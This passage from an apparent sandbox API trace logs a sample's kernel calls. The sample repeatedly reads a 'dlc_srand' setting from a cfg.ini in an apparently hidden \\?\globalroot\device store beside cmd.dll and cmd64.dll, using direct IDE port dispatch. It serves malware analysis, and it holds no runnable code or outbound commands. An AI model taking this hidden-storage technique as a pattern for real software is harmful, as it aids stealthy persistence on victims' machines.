FastMutex=0xfffffa80027d3898) [0119.240] KeLeaveCriticalRegion () [0119.240] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.240] KeEnterCriticalRegion () [0119.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] KeLeaveCriticalRegion () [0119.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.240] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.240] KeEnterCriticalRegion () [0119.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] ExFreePoolWithTag (P=0xfffffa8003bdbf00, Tag=0x0) [0119.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] KeLeaveCriticalRegion () [0119.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.240] ReleaseMutex (hMutex=0xf0) returned 1 [0119.240] Sleep (dwMilliseconds=0x124f80) [0119.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.251] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.251] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.251] KeEnterCriticalRegion () [0119.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.251] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.251] IdePortDispatch () returned 0x103 [0119.252] KeWaitForMutexObject () returned 0x0 [0119.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.252] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.252] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.252] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.252] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.252] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb6b0 [0119.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.252] KeLeaveCriticalRegion () [0119.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.252] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.252] KeEnterCriticalRegion () [0119.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.252] KeLeaveCriticalRegion () [0119.252] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.252] KeEnterCriticalRegion () [0119.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.252] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.252] IdePortDispatch () returned 0x103 [0119.252] KeWaitForMutexObject () returned 0x0 [0119.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.252] KeLeaveCriticalRegion () [0119.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.252] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.253] KeEnterCriticalRegion () [0119.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0119.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.253] IdePortDispatch () returned 0x103 [0119.253] KeWaitForMutexObject () returned 0x0 [0119.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.253] IdePortDispatch () returned 0x103 [0119.253] KeWaitForMutexObject () returned 0x0 [0119.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.253] KeLeaveCriticalRegion () [0119.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.254] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.254] KeEnterCriticalRegion () [0119.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] KeLeaveCriticalRegion () [0119.254] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.254] KeEnterCriticalRegion () [0119.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] KeLeaveCriticalRegion () [0119.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.254] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.254] KeEnterCriticalRegion () [0119.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] ExFreePoolWithTag (P=0xfffffa8003bcb6b0, Tag=0x0) [0119.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.254] KeLeaveCriticalRegion () [0119.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.254] ReleaseMutex (hMutex=0xf0) returned 1 [0119.254] Sleep (dwMilliseconds=0x124f80) [0119.268] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.268] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.268] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.268] KeEnterCriticalRegion () [0119.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.268] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.268] IdePortDispatch () returned 0x103 [0119.268] KeWaitForMutexObject () returned 0x0 [0119.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.268] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.268] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.268] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.268] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.268] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb460 [0119.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.268] KeLeaveCriticalRegion () [0119.268] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.268] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.268] KeEnterCriticalRegion () [0119.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.268] KeLeaveCriticalRegion () [0119.269] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.269] KeEnterCriticalRegion () [0119.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.269] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.269] IdePortDispatch () returned 0x103 [0119.269] KeWaitForMutexObject () returned 0x0 [0119.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.270] KeLeaveCriticalRegion () [0119.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.270] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.270] KeEnterCriticalRegion () [0119.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc4000 [0119.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.270] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.270] IdePortDispatch () returned 0x103 [0119.270] KeWaitForMutexObject () returned 0x0 [0119.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.270] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.270] IdePortDispatch () returned 0x103 [0119.270] KeWaitForMutexObject () returned 0x0 [0119.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.270] KeLeaveCriticalRegion () [0119.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.271] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.271] KeEnterCriticalRegion () [0119.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] KeLeaveCriticalRegion () [0119.271] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.271] KeEnterCriticalRegion () [0119.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.271] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcb520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] KeLeaveCriticalRegion () [0119.271] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.271] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.271] KeEnterCriticalRegion () [0119.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] ExFreePoolWithTag (P=0xfffffa8003bcb460, Tag=0x0) [0119.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.271] KeLeaveCriticalRegion () [0119.271] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.271] ReleaseMutex (hMutex=0xf0) returned 1 [0119.271] Sleep (dwMilliseconds=0x124f80) [0119.285] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.285] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.285] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.285] KeEnterCriticalRegion () [0119.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.285] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.285] IdePortDispatch () returned 0x103 [0119.285] KeWaitForMutexObject () returned 0x0 [0119.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.285] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.285] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.285] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.285] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.285] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbeb0 [0119.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.285] KeLeaveCriticalRegion () [0119.285] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.285] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.285] KeEnterCriticalRegion () [0119.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.285] KeLeaveCriticalRegion () [0119.286] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.286] KeEnterCriticalRegion () [0119.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.286] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.286] IdePortDispatch () returned 0x103 [0119.286] KeWaitForMutexObject () returned 0x0 [0119.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.286] KeLeaveCriticalRegion () [0119.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.286] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.286] KeEnterCriticalRegion () [0119.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc9000 [0119.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.286] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.286] IdePortDispatch () returned 0x103 [0119.286] KeWaitForMutexObject () returned 0x0 [0119.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.286] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.286] IdePortDispatch () returned 0x103 [0119.287] KeWaitForMutexObject () returned 0x0 [0119.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.287] KeLeaveCriticalRegion () [0119.287] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.287] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.287] KeEnterCriticalRegion () [0119.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.287] KeLeaveCriticalRegion () [0119.287] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.287] KeEnterCriticalRegion () [0119.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.287] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.287] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.287] KeLeaveCriticalRegion () [0119.287] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.287] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.287] KeEnterCriticalRegion () [0119.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] ExFreePoolWithTag (P=0xfffffa8003bdbeb0, Tag=0x0) [0119.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] KeLeaveCriticalRegion () [0119.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.288] ReleaseMutex (hMutex=0xf0) returned 1 [0119.288] Sleep (dwMilliseconds=0x124f80) [0119.302] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.302] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.302] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.302] KeEnterCriticalRegion () [0119.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.302] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.302] IdePortDispatch () returned 0x103 [0119.302] KeWaitForMutexObject () returned 0x0 [0119.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 